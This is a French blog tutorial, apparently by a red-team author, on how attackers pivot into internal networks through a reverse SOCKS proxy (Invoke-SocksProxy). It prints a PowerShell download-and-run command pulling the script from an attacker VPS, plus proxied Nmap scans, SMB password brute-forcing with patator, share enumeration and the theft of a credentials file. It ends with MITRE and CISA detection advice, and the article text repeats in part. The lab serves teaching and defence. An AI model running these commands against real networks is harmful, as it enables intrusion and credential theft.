Les proxys inverses permettent aux personnes mal intentionnées (APT) d’attaquer des environnements sécurisés de par leur capacité à contourner les restrictions imposées par les pare-feu sur les flux entrants. Le réseau d’une agence fédérale a ainsi été victime il y a peu d’une attaque de ce type. Les hackers se sont appuyés sur une variante d’Invoke-SocksProxy, un proxy inverse open source disponible sur GitHub.
Description de la Cybersecurity and Infrastructure Security Agency (CISA) :
Le hacker a établi un mécanisme de persistance et de commande et contrôle sur le réseau de sa victime à l’aide d’un tunnel SSH/proxy SOCKS inverse persistant… Un script PowerShell [Invoke-SocksProxy.ps1] a créé un proxy SOCKS SMB inverse permettant les connexions entre un VPS contrôlé par l’attaquant… et le serveur de fichiers de l’entreprise de la victime… Invoke-SocksProxy.ps1 a mis en place un proxy inverse liant la machine locale à l’infrastructure de l’attaquant…
Qu’est-ce qu’un proxy inverse ?
Le cadre MITRE ATT&CK définit ce type d’attaque comme suit :
Les hackers peuvent utiliser un proxy pour qu’il achemine le trafic réseau entre des systèmes ou joue le rôle d’intermédiaire entre les communications réseau… pour éviter toute connexion directe à leur infrastructure… Les hackers utilisent ce type de proxy pour gérer les communications de commande et contrôle [ou] pour réduire le nombre de connexions réseau sortantes simultanées… Ils peuvent imbriquer plusieurs proxys pour masquer plus efficacement l’origine du trafic malveillant…
Préparer l’attaque
La topologie du réseau contient plusieurs appareils connectés à un réseau interne (172.16.0.1/24). Pour simplifier, disons que le hacker a mis en place un shell inverse sur l’hôte A (172.16.0.3) à l’aide d’un document Word malveillant (voir illustration ci-dessous). Avec ce niveau d’accès, le système Kali de l’attaquant ne peut pas interagir directement avec les serveurs SMB et HTTP. L’objectif est ici de détecter les services s’exécutant sur 172.16.0.1/24 tout en utilisant l’hôte A comme proxy.
Dans cet exemple, l’hôte compromis se connecte au serveur dédié virtuel (VPS) de l’attaquant à l’aide d’un écouteur Netcat sur le port TCP 444 (voir illustration ci-dessous). La connexion Netcat doit rester ouverte, car elle sera nécessaire par la suite.
Dans Kali, ouvrez une nouvelle fenêtre de terminal et connectez-vous au VPS à l’aide du protocole SSH. Passez en root à l’aide de la commande su.
Utilisez la commande git suivante pour cloner mon référentiel Invoke-SocksProxy. Ce référentiel contient deux fichiers : ReverseSocksProxyHandler.py et Invoke-SocksProxy.ps1.
root@vps > cd /opt; git clone https://github.com/tokyoneon/Invoke-SocksProxy
Le script ReverseSocksProxyHandler.py ouvre les ports 443 et 1337 : le port 443 reçoit les connexions entrantes de l’hôte A. Le port 1337 joue quant à lui le rôle de port de proxy, configuré avec proxychains dans Kali. Une fois exécutée, la commande du terminal génère l’affichage suivant. Le terminal doit rester ouvert pendant toute la durée de l’attaque.
root@vps > cd /opt/Invoke-SocksProxy; ./ReverseSocksProxyHandler.py
Le script Invoke-SocksProxy.ps1 doit être exécuté sur l’hôte compromis. Dans Kali, ouvrez une nouvelle fenêtre de terminal et connectez-vous à nouveau au VPS à l’aide du protocole SSH. Modifiez l’adresse du VPS codée en dur dans Invoke-SocksProxy.ps1 et hébergez le script sur un serveur HTTP (Apache, Nginx ou http.server).
Dans le terminal Netcat, naviguez jusqu’au répertoire $env:TEMP de l’hôte A. Ensuite, téléchargez le script Invoke-SocksProxy.ps1 depuis le VPS et exécutez-le. Aucune sortie n’est affichée, et la fenêtre du terminal doit rester ouverte. Dans le monde réel, un attaquant pourrait utiliser des tâches planifiées pour automatiser cette exécution. Pour cette démonstration, nous allons laisser le terminal ouvert afin de comprendre ce qu’il se passe.
Ps > cd $env:TEMP
Ps > iwr 192.168.56.102/Invoke-SocksProxy.ps1 -outfile isp.ps1
Ps > .\isp.ps1
Dans Kali, installez proxychains4 et modifiez le fichier /etc/proxychains4.conf. Ajoutez l’adresse du VPS et le port 1337 en bas du fichier de configuration.
sudo apt-get install -y proxychains4 && sudo nano /etc/proxychains4.conf
Les préparatifs de l’attaque sont maintenant terminés. Avec l’exécution de ReverseSocksProxyHandler et d’Invoke-SocksProxy sur le VPS et l’hôte A, il devient possible d’attaquer le réseau interne par l’intermédiaire d’un proxy.
Nmap et Crackmapexec via proxy avec Proxychains
L’utilisation de Nmap avec Proxychains comporte quelques limitations. Par exemple, Nmap plante lors de la détection de l’hôte et ne peut pas exécuter d’analyses ping (ICMP) via SOCKS5. Ceci étant dit, la détection des services et des ports reste opérationnelle (même si elles sont un peu lentes, car elles exigent des analyses TCP complètes).
La commande Nmap suivante effectue une analyse TCP (-st) avec détection de l’hôte (-Pn) et résolution DNS (-n) désactivées. Ces arguments sont obligatoires pour pouvoir utiliser Nmap avec Proxychains. Notez le serveur SMB à l’adresse 172.16.0.4:445 et le serveur HTTP à l’adresse 172.16.0.115:80.
proxychains nmap -sT -Pn -n -p445,139,88,80 172.16.0.4,115
Pour procéder à des attaques par force brute via le proxy, utilisez la commande patator suivante. Les messages Proxychains risquent de noyer la sortie de Patator. Utilisez l’argument -q pour les supprimer. Notez le mot de passe (« Passw0rd! ») détecté lors de l’attaque.
proxychains -q patator smb_login host=172.16.0.4 port=445 user=victim2 password=FILE0 0=/usr/share/wordlists/nmap.lst -t 1 -x ignore:mesg=’STATUS_LOGON_FAILURE’
Pour afficher les partages du serveur SMB compromis, utilisez la commande crackmapexec avec le mot de passe détecté. Notez le partage « Private » avec droits de lecture et d’écriture.
proxychains crackmapexec smb 172.16.0.4 -u ‘victim2’ -p ‘Passw0rd!’ –shares
Pour accéder au contenu du partage, utilisez la commande smbclient, qui permet d’afficher le répertoire souhaité (« /Private »). Notez la présence du fichier « credentials.txt » dans le partage. Utilisez la commande get avec smbclient pour récupérer ce fichier et l’enregistrer en local sur le système Kali.
proxychains smbclient //172.16.0.4/Private -U ‘victim2%Passw0rd!’
Il est possible d’accéder aux serveurs HTTP de la même manière à l’aide de commandes proxychains similaires. Toutefois, Firefox propose des fonctionnalités intégrées qui facilitent les interactions avec les proxys.
Sous Kali, ouvrez Firefox et rendez-vous dans Options > Paramètres réseau > Paramètres et utilisez un « hôte SOCKS » avec l’adresse IP et le port du VPS (voir illustration ci-dessous). Cliquez sur OK pour enregistrer la configuration.
Ensuite, ouvrez un nouvel onglet et accédez à n’importe quel serveur HTTP détecté dans le réseau interne (par exemple, 172.16.0.115:80).
Si nous analysons les journaux d’événement du serveur HTTP à l’adresse 172.16.0.115, nous pouvons voir que les requêtes semblent provenir de 172.16.0.3 (hôte A), à savoir l’hôte compromis.
Bloquer et détecter l’attaque
Tel que recommandé par le cadre MITRE ATT&CK :
Analysez les données du réseau pour détecter d’éventuels flux de données inhabituels ou anormaux. Par exemple, des clients qui envoient beaucoup plus de données qu’ils n’en reçoivent des serveurs alors qu’ils ne devraient pas communiquer ensemble ou que rarement. Les processus qui utilisent le réseau alors qu’ils ne communiquent habituellement pas ou qui vous sont inconnus doivent être considérés comme suspects. Analysez le contenu des paquets pour détecter les communications qui ne suivent pas le comportement du protocole attendu pour le port utilisé.
- Filtrage du trafic réseau : vous pouvez bloquer le trafic à destination de réseaux d’anonymisation et d’infrastructures de contrôle et commande connus par le biais de listes blanches et noires. Notez toutefois que des techniques comme le Domain Fronting peuvent permettre de contourner ces mesures.
- Prévention des intrusions sur le réseau : les systèmes de détection et de prévention des intrusions sur le réseau qui utilisent des signatures pour identifier le trafic correspondant à certains malwares peuvent permettre de limiter ce type d’activité malveillante au niveau du réseau. Les signatures correspondent souvent à des indicateurs uniques de protocoles et peuvent être basées sur le protocole spécifique de commande et contrôle utilisé par un hacker ou outil donné. Elles sont souvent différentes d’une famille et d’une version de malware à l’autre. Les hackers changeront probablement les signatures de commande et contrôle de leurs outils au fils du temps ou mettront au point des protocoles capables d’éviter la détection des outils de protection classiques.
- Inspection SSL/TLS : s’il est possible d’analyser le trafic HTTPS, les captures peuvent être analysées afin de détecter les connexions paraissant être du domain fronting.
Par ailleurs, la CISA recommande aux organisations de mettre en place les bonnes pratiques suivantes :
- Activer une authentification multifacteur, en particulier pour les comptes à privilège
- Utiliser des comptes d’administration distincts sur des stations de travail d’administration différentes
- Instaurer un modèle de moindre privilège sur l’accès aux données
- Sécuriser le RDP et les autres solutions d’accès distant à l’aide d’une authentification multifacteur et de serveurs de rebond
- Déployer et mettre à jour des outils de protection sur l’ensemble des terminaux
- Mettre à jour les logiciels
Suivez-moi sur Twitter @tokyoneon_ et GitHub pour rester informé de mes projets du moment.
Comment les APT utilisent des proxys inverses pour lancer des commandes Nmap sur les réseaux internes
Contenu
Les proxys inverses permettent aux personnes mal intentionnées (APT) d’attaquer des environnements sécurisés de par leur capacité à contourner les restrictions imposées par les pare-feu sur les flux entrants. Le réseau d’une agence fédérale a ainsi été victime il y a peu d’une attaque de ce type. Les hackers se sont appuyés sur une variante d’Invoke-SocksProxy, un proxy inverse open source disponible sur GitHub.
Description de la Cybersecurity and Infrastructure Security Agency (CISA) :
Le hacker a établi un mécanisme de persistance et de commande et contrôle sur le réseau de sa victime à l’aide d’un tunnel SSH/proxy SOCKS inverse persistant… Un script PowerShell [Invoke-SocksProxy.ps1] a créé un proxy SOCKS SMB inverse permettant les connexions entre un VPS contrôlé par l’attaquant… et le serveur de fichiers de l’entreprise de la victime… Invoke-SocksProxy.ps1 a mis en place un proxy inverse liant la machine locale à l’infrastructure de l’attaquant…
Qu’est-ce qu’un proxy inverse ?
Le cadre MITRE ATT&CK définit ce type d’attaque comme suit :
Les hackers peuvent utiliser un proxy pour qu’il achemine le trafic réseau entre des systèmes ou joue le rôle d’intermédiaire entre les communications réseau… pour éviter toute connexion directe à leur infrastructure… Les hackers utilisent ce type de proxy pour gérer les communications de commande et contrôle [ou] pour réduire le nombre de connexions réseau sortantes simultanées… Ils peuvent imbriquer plusieurs proxys pour masquer plus efficacement l’origine du trafic malveillant…
Préparer l’attaque
La topologie du réseau contient plusieurs appareils connectés à un réseau interne (172.16.0.1/24). Pour simplifier, disons que le hacker a mis en place un shell inverse sur l’hôte A (172.16.0.3) à l’aide d’un document Word malveillant (voir illustration ci-dessous). Avec ce niveau d’accès, le système Kali de l’attaquant ne peut pas interagir directement avec les serveurs SMB et HTTP. L’objectif est ici de détecter les services s’exécutant sur 172.16.0.1/24 tout en utilisant l’hôte A comme proxy.
Dans cet exemple, l’hôte compromis se connecte au serveur dédié virtuel (VPS) de l’attaquant à l’aide d’un écouteur Netcat sur le port TCP 444 (voir illustration ci-dessous). La connexion Netcat doit rester ouverte, car elle sera nécessaire par la suite.
Dans Kali, ouvrez une nouvelle fenêtre de terminal et connectez-vous au VPS à l’aide du protocole SSH. Passez en root à l’aide de la commande su.
Utilisez la commande git suivante pour cloner mon référentiel Invoke-SocksProxy. Ce référentiel contient deux fichiers : ReverseSocksProxyHandler.py et Invoke-SocksProxy.ps1.
root@vps > cd /opt; git clone https://github.com/tokyoneon/Invoke-SocksProxy
Le script ReverseSocksProxyHandler.py ouvre les ports 443 et 1337 : le port 443 reçoit les connexions entrantes de l’hôte A. Le port 1337 joue quant à lui le rôle de port de proxy, configuré avec proxychains dans Kali. Une fois exécutée, la commande du terminal génère l’affichage suivant. Le terminal doit rester ouvert pendant toute la durée de l’attaque.
root@vps > cd /opt/Invoke-SocksProxy; ./ReverseSocksProxyHandler.py
Le script Invoke-SocksProxy.ps1 doit être exécuté sur l’hôte compromis. Dans Kali, ouvrez une nouvelle fenêtre de terminal et connectez-vous à nouveau au VPS à l’aide du protocole SSH. Modifiez l’adresse du VPS codée en dur dans Invoke-SocksProxy.ps1 et hébergez le script sur un serveur HTTP (Apache, Nginx ou http.server).
Dans le terminal Netcat, naviguez jusqu’au répertoire $env:TEMP de l’hôte A. Ensuite, téléchargez le script Invoke-SocksProxy.ps1 depuis le VPS et exécutez-le. Aucune sortie n’est affichée, et la fenêtre du terminal doit rester ouverte. Dans le monde réel, un attaquant pourrait utiliser des tâches planifiées pour automatiser cette exécution. Pour cette démonstration, nous allons laisser le terminal ouvert afin de comprendre ce qu’il se passe.
Ps > cd $env:TEMP
Ps > iwr 192.168.56.102/Invoke-SocksProxy.ps1 -outfile isp.ps1
Ps > .\isp.ps1
Dans Kali, installez proxychains4 et modifiez le fichier /etc/proxychains4.conf. Ajoutez l’adresse du VPS et le port 1337 en bas du fichier de configuration.
sudo apt-get install -y proxychains4 && sudo nano /etc/proxychains4.conf
Les préparatifs de l’attaque sont maintenant terminés. Avec l’exécution de ReverseSocksProxyHandler et d’Invoke-SocksProxy sur le VPS et l’hôte A, il devient possible d’attaquer le réseau interne par l’intermédiaire d’un proxy.
Nmap et Crackmapexec via proxy avec Proxychains
L’utilisation de Nmap avec Proxychains comporte quelques limitations. Par exemple, Nmap plante lors de la détection de l’hôte et ne peut pas exécuter d’analyses ping (ICMP) via SOCKS5. Ceci étant dit, la détection des services et des ports reste opérationnelle (même si elles sont un peu lentes, car elles exigent des analyses TCP complètes).
La commande Nmap suivante effectue une analyse TCP (-st) avec détection de l’hôte (-Pn) et résolution DNS (-n) désactivées. Ces arguments sont obligatoires pour pouvoir utiliser Nmap avec Proxychains. Notez le serveur SMB à l’adresse 172.16.0.4:445 et le serveur HTTP à l’adresse 172.16.0.115:80.
proxychains nmap -sT -Pn -n -p445,139,88,80 172.16.0.4,115
Pour procéder à des attaques par force brute via le proxy, utilisez la commande patator suivante. Les messages Proxychains risquent de noyer la sortie de Patator. Utilisez l’argument -q pour les supprimer. Notez le mot de passe (« Passw0rd! ») détecté lors de l’attaque.
proxychains -q patator smb_login host=172.16.0.4 port=445 user=victim2 password=FILE0 0=/usr/share/wordlists/nmap.lst -t 1 -x ignore:mesg=’STATUS_LOGON_FAILURE’
Pour afficher les partages du serveur SMB compromis, utilisez la commande crackmapexec avec le mot de passe détecté. Notez le partage « Private » avec droits de lecture et d’écriture.
proxychains crackmapexec smb 172.16.0.4 -u ‘victim2’ -p ‘Passw0rd!’ –shares
Pour accéder au contenu du partage, utilisez la commande smbclient, qui permet d’afficher le répertoire souhaité (« /Private »). Notez la présence du fichier « credentials.txt » dans le partage. Utilisez la commande get avec smbclient pour récupérer ce fichier et l’enregistrer en local sur le système Kali.
proxychains smbclient //172.16.0.4/Private -U ‘victim2%Passw0rd!’
Il est possible d’accéder aux serveurs HTTP de la même manière à l’aide de commandes proxychains similaires. Toutefois, Firefox propose des fonctionnalités intégrées qui facilitent les interactions avec les proxys.
Sous Kali, ouvrez Firefox et rendez-vous dans Options > Paramètres réseau > Paramètres et utilisez un « hôte SOCKS » avec l’adresse IP et le port du VPS (voir illustration ci-dessous). Cliquez sur OK pour enregistrer la configuration.
Ensuite, ouvrez un nouvel onglet et accédez à n’importe quel serveur HTTP détecté dans le réseau interne (par exemple, 172.16.0.115:80).
Si nous analysons les journaux d’événement du serveur HTTP à l’adresse 172.16.0.115, nous pouvons voir que les requêtes semblent provenir de 172.16.0.3 (hôte A), à savoir l’hôte compromis.
Bloquer et détecter l’attaque
Tel que recommandé par le cadre MITRE ATT&CK :
Analysez les données du réseau pour détecter d’éventuels flux de données inhabituels ou anormaux. Par exemple, des clients qui envoient beaucoup plus de données qu’ils n’en reçoivent des serveurs alors qu’ils ne devraient pas communiquer ensemble ou que rarement. Les processus qui utilisent le réseau alors qu’ils ne communiquent habituellement pas ou qui vous sont inconnus doivent être considérés comme suspects. Analysez le contenu des paquets pour détecter les communications qui ne suivent pas le comportement du protocole attendu pour le port utilisé.
Par ailleurs, la CISA recommande aux organisations de mettre en place les bonnes pratiques suivantes :
Suivez-moi sur Twitter @tokyoneon_ et GitHub pour rester informé de mes projets du moment.
What you should do now
Below are three ways we can help you begin your journey to reducing data risk at your company:
Tokyoneon
Tokyoneon is a certified red team operator with over one-hundred offensive security publications as well as experience exploiting weaknesses in web applications and vulnerabilities in modern infrastructure. eCPPT / eWPTX / OSCP / OSWP / PenTest+ / CySA+ / Security+